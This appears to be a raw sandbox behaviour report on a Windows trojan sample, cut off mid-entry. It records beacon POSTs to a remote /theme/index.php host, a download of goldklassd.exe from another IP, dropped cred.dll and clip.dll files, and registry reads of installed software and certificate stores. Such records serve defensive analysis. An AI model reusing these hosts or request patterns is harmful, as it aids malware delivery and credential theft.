Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "/gtsr1/gtsr1" in header "GET /gtsr1/gtsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.pki.goog" Contains base64 string in header "Keep" in header "GET /gtsr1/gtsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.pki.goog" Contains base64 string in header "User" in header "GET /gtsr1/gtsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.pki.goog" Contains base64 string in header "goog" in header "GET /gtsr1/gtsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/QqFxbi9M48c.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/QqFxbi9M48c.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "crls" in header "GET /gts1c3/QqFxbi9M48c.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/QqFxbi9M48c.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "Keep" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "2Bsl" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEA3JuxlUdJhCKVHU%2B892rt4%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2B892rt4" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEA3JuxlUdJhCKVHU%2B892rt4%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEA3JuxlUdJhCKVHU%2B892rt4%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEA3JuxlUdJhCKVHU%2B892rt4%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEA3JuxlUdJhCKVHU%2B892rt4%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEA3JuxlUdJhCKVHU%2B892rt4%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2FpEnHuAsArL" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC3n%2FpEnHuAsArL%2BHyYv98Y HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC3n%2FpEnHuAsArL%2BHyYv98Y HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC3n%2FpEnHuAsArL%2BHyYv98Y HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC3n%2FpEnHuAsArL%2BHyYv98Y HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC3n%2FpEnHuAsArL%2BHyYv98Y HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEB1PEJ9gAC7lEgL62A77Qs4%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEB1PEJ9gAC7lEgL62A77Qs4%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEB1PEJ9gAC7lEgL62A77Qs4%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEB1PEJ9gAC7lEgL62A77Qs4%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCECTIWCtOriVGCn" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCECTIWCtOriVGCn%2FSzrsWgJo%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCECTIWCtOriVGCn%2FSzrsWgJo%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCECTIWCtOriVGCn%2FSzrsWgJo%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCECTIWCtOriVGCn%2FSzrsWgJo%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCECTIWCtOriVGCn%2FSzrsWgJo%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "POST" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "/theme/index" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "POST" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 174Cache-Control: no-cache" Contains base64 string in header "/theme/index" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 174Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 174Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 174Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 174Cache-Control: no-cache" Contains base64 string in header "174Cache" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 174Cache-Control: no-cache" Contains base64 string in header "/lego/goldklassd" in header "GET /lego/goldklassd.exe HTTP/1.1Host: 109.107.182.3" Contains base64 string in header "POST" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 31Cache-Control: no-cache" Contains base64 string in header "/theme/index" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 31Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 31Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 31Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 31Cache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /gts1c3/QqFxbi9M48c.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Wed, 31 Jan 2024 20:12:35 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "Modified" in header "GET /gts1c3/QqFxbi9M48c.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Wed, 31 Jan 2024 20:12:35 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "2024" in header "GET /gts1c3/QqFxbi9M48c.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Wed, 31 Jan 2024 20:12:35 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "crls" in header "GET /gts1c3/QqFxbi9M48c.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Wed, 31 Jan 2024 20:12:35 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/QqFxbi9M48c.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Wed, 31 Jan 2024 20:12:35 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "POST" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 5Cache-Control: no-cache" Contains base64 string in header "/theme/index" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 5Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 5Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 5Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 5Cache-Control: no-cache"37:Td49,"SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" queries volume information of "C:\" at 00000000-00005372-0000010C-8428162 "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" queries volume information of "C:\" at 00000000-00005372-0000010C-16264070 "MPGPH131.exe" queries volume information of "C:\" at 00000000-00003536-0000010C-5829704 "MPGPH131.exe" queries volume information of "C:\" at 00000000-00003536-0000010C-13291501 "MPGPH131.exe" queries volume information of "C:\" at 00000000-00003916-0000010C-7551605 "DjumWVmCC4B2ivAX9QBh.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\jobA4fg83LPunMIO83\DjumWVmCC4B2ivAX9QBh.exe" at 00000000-00003328-0000010C-5557949 "H71o7LCWTf28gq71qPp8.exe" queries volume information of "C:\" at 00000000-00004072-0000010C-12738708 "tRR0mZeAIpkePLPN9LrW.exe" queries volume information of "C:\" at 00000000-00002068-0000010C-14142513 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\d887ceb89d\explorhe.exe" at 00000000-00004812-0000010C-10276941 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\cred.dll" at 00000000-00004812-0000010C-18174013 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\cred.dll" at 00000000-00004812-0000010C-18177129 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\clip.dll" at 00000000-00004812-0000010C-19275585 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\clip.dll" at 00000000-00004812-0000010C-19278777 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000784001\goldklassd.exe" at 00000000-00004812-0000010C-20147311 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000784001\goldklassd.exe" at 00000000-00004812-0000010C-20150613 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000785001\MONTHRDX.exe" at 00000000-00004812-0000010C-22969495 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000785001\MONTHRDX.exe" at 00000000-00004812-0000010C-22973160 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000786001\rockrunn.exe" at 00000000-00004812-0000010C-25800126 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000786001\rockrunn.exe" at 00000000-00004812-0000010C-25803851 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000787001\alex.exe" at 00000000-00004812-0000010C-30119124 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000787001\alex.exe" at 00000000-00004812-0000010C-30123211 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000788001\moto.exe" at 00000000-00004812-0000010C-34517724 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000788001\moto.exe" at 00000000-00004812-0000010C-34522010 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000789001\mrk1234.exe" at 00000000-00004812-0000010C-37502950 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000789001\mrk1234.exe" at 00000000-00004812-0000010C-3750765838:T9cb,"SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP"; Key: "DISPLAYNAME") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP"; Key: "DISPLAYVERSION") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYNAME") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR"; Key: "DISPLAYNAME") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR"; Key: "DISPLAYVERSION") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX"; Key: "DISPLAYNAME") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX"; Key: "DISPLAYVERSION") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER"; Key: "DISPLAYNAME") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER"; Key: "DISPLAYVERSION") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3"; Key: "DISPLAYNAME")39:Td87,"SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")3a:T77b,"SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\2E4916B07F3DE90C8DDE2566FD9B9B400D89BBBA"; Key: "BLOB") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Path: 